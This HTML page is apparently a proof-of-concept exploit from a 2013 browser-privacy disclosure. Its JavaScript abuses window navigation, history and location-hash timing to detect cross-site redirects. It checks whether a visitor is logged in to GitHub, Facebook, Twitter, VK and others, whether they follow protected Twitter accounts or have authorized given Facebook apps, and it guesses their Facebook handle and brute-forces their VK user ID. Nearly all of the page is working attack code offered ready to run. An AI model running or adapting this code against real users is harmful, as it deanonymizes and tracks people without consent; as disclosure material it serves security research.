pwnprivacy.html

<h1>URL and redirection detection</h1> <a href="http://homakov.blogspot.com/2013/03/pwning-your-privacy-in-all-browsers.html">Blogpost with description</a>
<script>
var wins = []

var postback = function(data){
  var data = data.split(',')
  var guess = data[0] == '2';
  var id = parseInt(data[1]);

  if(wins[id].started){
    if(full_debug){
      //debug('Processing time (ms): '+ (new Date - wins[id].started))
    }

    wins[id].cb(guess);
    //optional
    //wins[e.data.id].w.close()
    //http://www.whatwg.org/specs/web-apps/current-work/#security-window
    //wins[e.data.id].w.history.go(guess ? 1 : 2)
  }
}

window.onmessage=postback;

var debug=function(d){
  deb.innerHTML=deb.innerHTML+"<br>"+d;
}

var path_for = function(data){
  if(data[0]=='3'){
    return 'data:text/html,<script>history.go(-3);<'+'/script>'
  }else{
    return '/postback.html#'+data;
  }
    //'data:text/html,<script>opener.postMessage({result: false,id:'+id+'},"*")<'+'/script>'
}

var check_redirect = function(base, cb, assigner){
  var id = wins.length;
  var path = path_for('1,'+id);
  if(use_frames){
    document.write('<iframe src="'+path+'" name="f'+id+'"></iframe>')
    var w = frames['f'+id];
  }else{
    var w = window.open(path);
  }

  wins[id] = {
    w: w,
    started: false,
    cb: cb
  }

  setTimeout(function(){
    w.location=path_for('2,'+id);
  },data_timeout)

  setTimeout(function(){
    w.location = base;

    setTimeout(function(){
      wins[id].started = new Date;
      //if(full_debug) debug('Started at '+ wins[id].started);

      if(assigner){
        assigner(wins[id].w);
      }else{
        // check exactly same URL
        w.location = base+'#';
      }

      setTimeout(function(){
      if(direct_history){
        w.history.go(-2);
      }else{
        w.location = path_for('3,'+id)
      }
      },100)
      var checker = function(){
        try{
          resp = w.location.hash;
          if(resp && resp[1] != '3'){
            console.log(resp)
            postback( resp.slice(1) );
            w.close();
          }else{
            setTimeout(checker,500)
          }
        }catch(e){
          //still no access
          setTimeout(checker,500)
        }
      }
      checker();

    },timeout)
  },data_timeout * 2);
  return w;
}


var run = function(){
  window.eval(ev.value)
}
var direct_history=true; //false in non-webkit 
var full_debug=true;
var timeout=10000;
var data_timeout = 1000;
var use_frames = false;

//window.onload = run;

</script>

<br><a href=javascript:void(0) onclick="run()">Run</a>
<br>
<textarea id="ev" style="width:600px;height:200px;">
//ADJUST
//webkit
var direct_history=true;
//firefox
var direct_history=false;


var data_timeout = 1000;

var timeout=10000;

var result = {}

var sites = {}
sites.github='https://github.com/notifications'
sites.fb= 'https://www.facebook.com/messages/new'
sites.gplus= 'https://plus.google.com/photos/instantupload'
sites.twitter= 'https://twitter.com/following'
sites.vk= 'http://vk.com/friends'
sites.devianart= 'http://my.deviantart.com/messages/'
sites.reddit= 'http://www.reddit.com/message/inbox/'

//Choose path
check_redirect(sites.github, function(guess){
  debug('Logged in: '+ (guess ? 'yes' : 'no'));
});


</textarea>
<b><div id="deb">Log (yes means 100% yes, no means most likely no but can be mistaken because of network speed - double check!)</div></b>

<pre>
Other examples (you can copy code to textarea and press Run or simply use firebug/web inspector):

check_redirect('https://twitter.com/PROTECTED/favorites', function(guess){
  debug('Has access to protected account: '+ (guess ? 'yes' : 'no'));
})

check_redirect('https://www.facebook.com/dialog/oauth?client_id='+(tryapp=prompt('choose app, e.g. 114545895322903'))+'&redirect_uri=https%3A%2F%2Fm.facebook.com', function(guess){
  debug('Authorized app '+tryapp+'  '+(guess ? 'no' : 'yes'));
})

// facebook handle detection
var friends = ['john', 'eric', 'egor.homakov', 'alice'];
check_redirect('https://www.facebook.com/profile.php', function(guess){
  debug('Guessed handle: '+ (guess ? 'yes' : 'no'));
},function(w){
  for(var i in friends){
    w.location = 'https://www.facebook.com/'+friends[i]+'#';
  }
})

// vkontakte ID detection

var vk_base = 'http://m.vk.com/photos';
var start = parseInt(prompt('In which 100 000 your ID is? for example 12300000'));
var steps = [100000,10000,1000,100,10,1];

var get_assigner = function(from, to){
  return function(w){
    for(var i=from;i < to;i++){
      w.location='http://m.vk.com/photos'+i+'#';
      if(i%10000==0) console.log('bunch '+i);
    }
  }
}

check_redirect(vk_base, function(guess){
  debug('ID inside of '+start+'  '+(guess ? 'yes' : 'no'));
}, get_assigner(start, start+100000))

// not finished proto of exploit

var get_cb = function(start){
  return function(guess){
    if(!guess) return false;

    var step = steps.shift();
    if(step){
      for(var i=0;i < 10;i++){
        var from = start+i*step;
        var to = start+(i+1)*step;
        console.log('start from '+from);

        (check_redirect(vk_base, get_cb(from,to), get_assigner(from,to)));
      }      

    }else{
      debug('vk id found: '+ start);
    }
  };
}

get_cb(your_mln)(true)

</pre>